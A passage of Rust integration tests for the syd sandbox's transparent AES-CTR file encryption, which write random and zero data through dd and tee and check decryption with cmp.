dd_rand | tee ./test.plain > ./test.crypt
dd_rand | tee -a ./test.plain >> ./test.crypt
dd_rand | tee -a ./test.plain >> ./test.crypt
dd_rand | tee -a ./test.plain >> ./test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_key = &SYD_KEY.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
if test -x ./aes-ctr; then
    key=$(echo {key} | {syd_key} -tSYD-ENC)
    ./aes-ctr -d -k${{key}} -i${{iv}} < ./test.crypt > ./test-ssl.decrypt
    cmp test.plain test-ssl.decrypt
fi
{syd_aes} -v -d -k{key} -i${{iv}} -tSYD-ENC < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_append_aes_fuzz_copy_seq() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "tee");
    build_openssl_aes_ctr();

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
# Simulates dd with random block sizes and count,
# with a maximum total size of 8MB.
dd_rand() {
  # Generate random size between 1 and 128 (inclusive).
  random_size=$((RANDOM % 128 + 1))

  # Generate random count between 1 and 128 (adjust for desired max size)
  # This ensures total size (count * block_size) won't exceed 8MB.
  max_count=$((8 * 1024 * 1024 / random_size)) # Adjust divisor for different max size.
  random_count=$((RANDOM % max_count + 1))

  # Read from /dev/random with random size and count
  dd if=/dev/random bs=$random_size count=$random_count status=none
}

dd_rand | tee ./test.plain > ./test.crypt

# Generate a random number between 3 and 7 (inclusive)
# for the number of iterations
num_iterations=$(( RANDOM % 5 + 3 ))
set +x
for (( i=0; i<$num_iterations; i++ )); do
    dd_rand | tee -a ./test.plain >> ./test.crypt
done
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_key = &SYD_KEY.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
if test -x ./aes-ctr; then
    key=$(echo {key} | {syd_key} -tSYD-ENC)
    ./aes-ctr -d -k${{key}} -i${{iv}} < ./test.crypt > ./test-ssl.decrypt
    cmp test.plain test-ssl.decrypt
fi
{syd_aes} -v -d -k{key} -i${{iv}} -tSYD-ENC < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_append_aes_fuzz_copy_mul() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "tee");
    build_openssl_aes_ctr();

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
# Simulates dd with random block sizes and count,
# with a maximum total size of 8MB.
dd_rand() {
  # Generate random size between 1 and 128 (inclusive).
  random_size=$((RANDOM % 128 + 1))

  # Generate random count between 1 and 128 (adjust for desired max size)
  # This ensures total size (count * block_size) won't exceed 8MB.
  max_count=$((8 * 1024 * 1024 / random_size)) # Adjust divisor for different max size.
  random_count=$((RANDOM % max_count + 1))

  # Read from /dev/random with random size and count
  dd if=/dev/random bs=$random_size count=$random_count status=none
}

dd_rand | tee ./test.plain > ./test.crypt

# Generate a random number between 3 and 7 (inclusive)
# for the number of iterations
num_iterations=$(( RANDOM % 5 + 3 ))
set +x
for (( i=0; i<$num_iterations; i++ )); do
    dd_rand | tee -a ./test.plain >> ./test.crypt
done
set -x
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_key = &SYD_KEY.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
if test -x ./aes-ctr; then
    key=$(echo {key} | {syd_key} -tSYD-ENC)
    ./aes-ctr -d -k${{key}} -i${{iv}} < ./test.crypt > ./test-ssl.decrypt
    cmp test.plain test-ssl.decrypt
fi
{syd_aes} -v -d -k{key} -i${{iv}} -tSYD-ENC < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_append_aes_zero_copy_seq() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "tee");
    build_openssl_aes_ctr();

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
# Simulates dd with random block sizes and count,
# with a maximum total size of 8MB.
dd_zero() {
  # Generate random size between 1 and 128 (inclusive).
  random_size=$((RANDOM % 128 + 1))

  # Generate random count between 1 and 128 (adjust for desired max size)
  # This ensures total size (count * block_size) won't exceed 8MB.
  max_count=$((8 * 1024 * 1024 / random_size)) # Adjust divisor for different max size.
  random_count=$((RANDOM % max_count + 1))

  # Read from /dev/zero with random size and count
  dd if=/dev/zero bs=$random_size count=$random_count status=none
}

dd_zero | tee ./test.plain > ./test.crypt

# Generate a random number between 3 and 7 (inclusive)
# for the number of iterations
num_iterations=$(( RANDOM % 5 + 3 ))
set +x
for (( i=0; i<$num_iterations; i++ )); do
    dd_zero | tee -a ./test.plain >> ./test.crypt
done
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_key = &SYD_KEY.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
if test -x ./aes-ctr; then
    key=$(echo {key} | {syd_key} -tSYD-ENC)
    ./aes-ctr -d -k${{key}} -i${{iv}} < ./test.crypt > ./test-ssl.decrypt
    cmp test.plain test-ssl.decrypt
fi
{syd_aes} -v -d -k{key} -i${{iv}} -tSYD-ENC < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_append_aes_zero_copy_mul() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "tee");
    build_openssl_aes_ctr();

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
# Simulates dd with random block sizes and count,
# with a maximum total size of 8MB.
dd_zero() {
  # Generate random size between 1 and 128 (inclusive).
  random_size=$((RANDOM % 128 + 1))

  # Generate random count between 1 and 128 (adjust for desired max size)
  # This ensures total size (count * block_size) won't exceed 8MB.
  max_count=$((8 * 1024 * 1024 / random_size)) # Adjust divisor for different max size.
  random_count=$((RANDOM % max_count + 1))

  # Read from /dev/zero with random size and count
  dd if=/dev/zero bs=$random_size count=$random_count status=none
}

dd_zero | tee ./test.plain > ./test.crypt

# Generate a random number between 3 and 7 (inclusive)
# for the number of iterations
num_iterations=$(( RANDOM % 5 + 3 ))
set +x
for (( i=0; i<$num_iterations; i++ )); do
    dd_zero | tee -a ./test.plain >> ./test.crypt
done
set -x
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_key = &SYD_KEY.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
if test -x ./aes-ctr; then
    key=$(echo {key} | {syd_key} -tSYD-ENC)
    ./aes-ctr -d -k${{key}} -i${{iv}} < ./test.crypt > ./test-ssl.decrypt
    cmp test.plain test-ssl.decrypt
fi
{syd_aes} -v -d -k{key} -i${{iv}} -tSYD-ENC < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_prime_single_cmp_mild_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=1048573 count=5 status=none | tee ./test.plain > ./test.crypt
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_prime_single_cmp_huge_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=7999993 count=5 status=none | tee ./test.plain > ./test.crypt
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_prime_single_aes_mild_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");
    build_openssl_aes_ctr();

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=1048573 count=5 status=none | tee ./test.plain > ./test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_key = &SYD_KEY.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
if test -x ./aes-ctr; then
    key=$(echo {key} | {syd_key} -tSYD-ENC)
    ./aes-ctr -d -k${{key}} -i${{iv}} < ./test.crypt > ./test-ssl.decrypt
    cmp test.plain test-ssl.decrypt
fi
{syd_aes} -v -d -k{key} -i${{iv}} -tSYD-ENC < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_prime_single_aes_huge_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");
    build_openssl_aes_ctr();

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=7999993 count=5 status=none | tee ./test.plain > ./test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_key = &SYD_KEY.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
if test -x ./aes-ctr; then
    key=$(echo {key} | {syd_key} -tSYD-ENC)
    ./aes-ctr -d -k${{key}} -i${{iv}} < ./test.crypt > ./test-ssl.decrypt
    cmp test.plain test-ssl.decrypt
fi
{syd_aes} -v -d -k{key} -i${{iv}} -tSYD-ENC < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_prime_append_cmp_mild_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=1048573 count=5 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=2097169 count=3 status=none | tee -a ./test.plain >> ./test.crypt
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_sieve_append_cmp_mild_copy_seq() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "python", "tee");

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
cat >primegen.py <<'EOF'
def primegen(limit):
  from math import sqrt
  primes = [2]
  for num in range(3, limit, 2):
    is_prime = True
    square_root = int(sqrt(num))
    for prime in primes:
      if num % prime == 0:
        is_prime = False
        break
      if prime > square_root:
        break
    if is_prime:
      yield num
for num in primegen(2 * 128):
    print(num)
EOF

python primegen.py > primes.lst
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
while read -r -d$'\n' num; do
    dd if=/dev/random bs=$num count=7 status=none | tee -a ./test.plain >> ./test.crypt
done < primes.lst
set -x
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_sieve_append_cmp_mild_copy_mul() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("awk", "bash", "dd", "python", "split", "tee", "wc");

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let syd_cpu = &SYD_CPU.to_string();
    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
cat >primegen.py <<'EOF'
def primegen(limit):
  from math import sqrt
  primes = [2]
  for num in range(3, limit, 2):
    is_prime = True
    square_root = int(sqrt(num))
    for prime in primes:
      if num % prime == 0:
        is_prime = False
        break
      if prime > square_root:
        break
    if is_prime:
      yield num
for num in primegen(2 * 128):
    print(num)
EOF

python primegen.py > primes.lst
split -d -l $(( $(wc -l primes.lst | awk '{{print $1}}') / $({syd_cpu}) )) primes.lst prime-split-

dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
for f in prime-split-*; do
    while read -r -d$'\n' num; do
        dd if=/dev/random bs=$num count=7 status=none | tee -a ./test.plain >> ./test.crypt
    done < "$f"
done
set -x
cmp test.plain test.crypt
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_sieve_append_cmp_huge_copy_seq() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "python", "tee");

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
cat >primegen.py <<'EOF'
def primegen(limit):
  from math import sqrt
  primes = [2]
  for num in range(3, limit, 2):
    is_prime = True
    square_root = int(sqrt(num))
    for prime in primes:
      if num % prime == 0:
        is_prime = False
        break
      if prime > square_root:
        break
    if is_prime:
      yield num
for num in primegen(4 * 128):
    print(num)
EOF

python primegen.py > primes.lst
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
while read -r -d$'\n' num; do
    dd if=/dev/random bs=$num count=7 status=none | tee -a ./test.plain >> ./test.crypt
done < primes.lst
set -x
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_sieve_append_cmp_huge_copy_mul() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("awk", "bash", "dd", "python", "split", "tee", "wc");

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let syd_cpu = &SYD_CPU.to_string();
    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
cat >primegen.py <<'EOF'
def primegen(limit):
  from math import sqrt
  primes = [2]
  for num in range(3, limit, 2):
    is_prime = True
    square_root = int(sqrt(num))
    for prime in primes:
      if num % prime == 0:
        is_prime = False
        break
      if prime > square_root:
        break
    if is_prime:
      yield num
for num in primegen(4 * 128):
    print(num)
EOF

python primegen.py > primes.lst
split -d -l $(( $(wc -l primes.lst | awk '{{print $1}}') / $({syd_cpu}) )) primes.lst prime-split-

dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
for f in prime-split-*; do
    while read -r -d$'\n' num; do
        dd if=/dev/random bs=$num count=7 status=none | tee -a ./test.plain >> ./test.crypt
    done < "$f"
done
set -x
cmp test.plain test.crypt
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_prime_append_cmp_huge_copy_seq() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=7999993 count=5 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=16000057 count=3 status=none | tee -a ./test.plain >> ./test.crypt
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_prime_append_cmp_huge_copy_mul() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=7999993 count=5 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=16000057 count=1 status=none | tee -a ./test.plain >> ./test.crypt
dd if=/dev/random bs=16000057 count=1 status=none | tee -a ./test.plain >> ./test.crypt
dd if=/dev/random bs=16000057 count=1 status=none | tee -a ./test.plain >> ./test.crypt
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_prime_append_aes_mild_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");
    build_openssl_aes_ctr();

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=1048573 count=5 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=2097169 count=3 status=none | tee -a ./test.plain >> ./test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_key = &SYD_KEY.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
if test -x ./aes-ctr; then
    key=$(echo {key} | {syd_key} -tSYD-ENC)
    ./aes-ctr -d -k${{key}} -i${{iv}} < ./test.crypt > ./test-ssl.decrypt
    cmp test.plain test-ssl.decrypt
fi
{syd_aes} -v -d -k{key} -i${{iv}} -tSYD-ENC < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_sieve_append_aes_mild_copy_seq() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "python", "tee");
    build_openssl_aes_ctr();

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
cat >primegen.py <<'EOF'
def primegen(limit):
  from math import sqrt
  primes = [2]
  for num in range(3, limit, 2):
    is_prime = True
    square_root = int(sqrt(num))
    for prime in primes:
      if num % prime == 0:
        is_prime = False
        break
      if prime > square_root:
        break
    if is_prime:
      yield num
for num in primegen(2 * 128):
    print(num)
EOF

python primegen.py > primes.lst
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
while read -r -d$'\n' num; do
    dd if=/dev/random bs=$num count=7 status=none | tee -a ./test.plain >> ./test.crypt
done < primes.lst
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_key = &SYD_KEY.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
if test -x ./aes-ctr; then
    key=$(echo {key} | {syd_key} -tSYD-ENC)
    ./aes-ctr -d -k${{key}} -i${{iv}} < ./test.crypt > ./test-ssl.decrypt
    cmp test.plain test-ssl.decrypt
fi
{syd_aes} -v -d -k{key} -i${{iv}} -tSYD-ENC < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_sieve_append_aes_mild_copy_mul() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("awk", "bash", "dd", "python", "split", "tee", "wc");
    build_openssl_aes_ctr();

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let syd_cpu = &SYD_CPU.to_string();
    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
cat >primegen.py <<'EOF'
def primegen(limit):
  from math import sqrt
  primes = [2]
  for num in range(3, limit, 2):
    is_prime = True
    square_root = int(sqrt(num))
    for prime in primes:
      if num % prime == 0:
        is_prime = False
        break
      if prime > square_root:
        break
    if is_prime:
      yield num
for num in primegen(2 * 128):
    print(num)
EOF

python primegen.py > primes.lst
split -d -l $(( $(wc -l primes.lst | awk '{{print $1}}') / $({syd_cpu}) )) primes.lst prime-split-

dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
for f in prime-split-*; do
    while read -r -d$'\n' num; do
        dd if=/dev/random bs=$num count=7 status=none | tee -a ./test.plain >> ./test.crypt
    done < "$f"
done
set -x
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_key = &SYD_KEY.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
if test -x ./aes-ctr; then
    key=$(echo {key} | {syd_key} -tSYD-ENC)
    ./aes-ctr -d -k${{key}} -i${{iv}} < ./test.crypt > ./test-ssl.decrypt
    cmp test.plain test-ssl.decrypt
fi
{syd_aes} -v -d -k{key} -i${{iv}} -tSYD-ENC < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_sieve_append_aes_huge_copy_seq() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "python", "tee");
    build_openssl_aes_ctr();

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
cat >primegen.py <<'EOF'
def primegen(limit):
  from math import sqrt
  primes = [2]
  for num in range(3, limit, 2):
    is_prime = True
    square_root = int(sqrt(num))
    for prime in primes:
      if num % prime == 0:
        is_prime = False
        break
      if prime > square_root:
        break
    if is_prime:
      yield num
for num in primegen(4 * 128):
    print(num)
EOF

python primegen.py > primes.lst
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
while read -r -d$'\n' num; do
    dd if=/dev/random bs=$num count=7 status=none | tee -a ./test.plain >> ./test.crypt
done < primes.lst
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_key = &SYD_KEY.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
if test -x ./aes-ctr; then
    key=$(echo {key} | {syd_key} -tSYD-ENC)
    ./aes-ctr -d -k${{key}} -i${{iv}} < ./test.crypt > ./test-ssl.decrypt
    cmp test.plain test-ssl.decrypt
fi
{syd_aes} -v -d -k{key} -i${{iv}} -tSYD-ENC < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_sieve_append_aes_huge_copy_mul() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("awk", "bash", "dd", "python", "split", "tee", "wc");
    build_openssl_aes_ctr();

